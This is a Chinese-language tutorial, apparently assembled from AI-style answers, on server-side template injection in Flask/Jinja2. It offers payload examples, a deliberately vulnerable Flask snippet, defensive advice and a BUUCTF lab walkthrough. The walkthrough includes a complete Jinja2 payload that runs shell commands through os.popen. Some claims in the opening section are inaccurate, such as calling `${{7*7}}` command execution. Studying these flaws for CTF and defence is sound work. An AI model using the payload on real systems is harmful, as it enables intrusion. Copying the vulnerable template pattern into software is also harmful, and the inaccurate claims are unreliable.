ssti模板注入payload

SSTI（服务器端模板注入）是指攻击者能够将恶意有效载荷注入到服务器端模板中，然后在服务器端执行该模板。攻击者利用模板引擎生成前端的HTML代码，通过将用户的数据放到渲染函数中来生成模板，最终将生成的HTML页面返回给浏览器。在SSTI攻击中，恶意注入的有效载荷可以是任意的模板代码，其目的是执行非法操作或者获取敏感信息。

关于SSTI模板注入的payload，这取决于模板引擎的类型和具体的注入点。不同的模板引擎可能具有不同的语法和功能，因此payload的编写也会有所差异。一般来说，payload可以包括以下内容：
1. 利用模板语法执行系统命令，例如使用`${{7*7}}`来执行简单的算术运算。
2. 通过访问对象的属性和方法来获取敏感信息，例如`{{config.items()}}`来获取应用程序的配置信息。
3. 利用模板语法实现循环、条件语句等控制流程，例如使用`{% for i in range(10) %}...{% endfor %}`来进行循环操作。
4. 调用模板引擎提供的特殊函数和过滤器，例如使用`{{7|safe}}`来禁用自动转义，或者使用`{{user.name|escape}}`来对用户输入进行转义。

请注意，在实际应用中进行SSTI攻击是非法的行为，我强烈建议您不要尝试。

相关问题

ssti模版注入语句

### SSTI（服务器端模板注入）漏洞

#### 攻击语句示例

在某些Web应用程序中，如果输入未经过充分验证就被嵌入到服务器端渲染的模板中，则可能引发SSTI漏洞。例如，在基于Python的应用程序中使用Jinja2模板引擎时，攻击者可以通过精心构造的输入来执行任意代码。

考虑如下场景：

假设存在一个URL参数`name`用于动态显示用户名字，而该参数未经严格过滤便被直接传给了模板引擎处理。此时，攻击者可尝试提交特殊字符串作为`name`值以触发异常行为并最终实现远程代码执行(RCE)[^1]。

from flask import Flask, request
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', '')
    template_string = f'Hello {name}'  # 危险操作：直接拼接用户可控数据至模板内容
    rendered_template = render_template_string(template_string)
    return rendered_template

针对上述情况的一个简单测试Payload可能是这样的：

{{7*7}}

这将导致页面返回计算结果而不是预期的名字问候消息。更进一步地，通过利用特定于所使用的模板引擎的功能特性，还可以构建更加复杂的Payload来进行系统级的危害活动[^2]。

#### 防御措施建议

为了有效防止此类风险的发生，应当遵循以下几点最佳实践原则：

- **最小权限原则**：确保运行环境下的解释器和服务进程仅拥有完成其职责所需的最低限度资源访问权；

- **输入校验与清理**：对所有来自外部的数据源实施严格的格式化检查以及必要的转义处理；

- **采用安全库函数**：优先选用那些已经内置了防护机制的第三方组件或框架功能模块；

- **定期更新依赖项**：及时跟踪官方发布的补丁信息，并尽快应用到生产环境中去；

- **启用WAF(Web Application Firewall)**：部署专业的防火墙产品能够帮助识别和拦截可疑流量模式。

综上所述，采取综合性的预防策略可以大大降低遭受SSTI攻击的可能性及其造成的损失程度。

buuctf [Flask]SSTI

### 关于 BUUCTF 中 Flask 框架下 SSTI 漏洞的解决方案

#### 什么是服务器端模板注入 (SSTI)

服务器端模板注入是一种攻击方式，在这种情况下，恶意输入被解释为模板代码的一部分而不是纯数据。当应用程序使用用户提供的数据渲染模板时，如果未正确处理这些数据，则可能导致 SSTI 漏洞。

对于 Flask 应用程序而言，Jinja2 是常用的模板引擎之一。由于 Jinja2 支持丰富的表达式语法，因此一旦发生 SSTI 漏洞，攻击者可以利用此特性执行任意 Python 代码[^1]。

#### 复现 SSTI 漏洞的存在性测试

访问 URL `http://node3.buuoj.cn:29153/?name={{2*2}}` 后返回的结果表明该站点可能存在 SSTI 漏洞。因为正常情况下传入的名字参数应该只显示原始字符串形式而非计算后的结果。这里出现了预期之外的行为——即传递给 name 参数的内容被当作模板语句进行了求值运算，证明了 SSTI 存在的可能性。

#### 利用 SSTI 执行命令

为了进一步验证 SSTI 并尝试获得更高权限的操作，可以通过特定构造的数据结构触发更深层次的对象遍历直至找到可调用的方法如 eval 函数，并借此运行操作系统级别的指令：

{% for c in [].__class__.__base__.__subclasses__() %}
 {% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
   {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
     {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
   {% endif %}
  {% endfor %}
 {% endif %}
{% endfor %}

上述 Payload 尝试从 catch_warnings 类型对象中提取全局命名空间字典中的 eval 方法，并通过它来读取当前用户的 id 信息作为示例操作[^3]。

需要注意的是实际环境中应当谨慎对待此类实验性质强的技术细节研究活动，确保仅限授权范围内开展学习交流用途。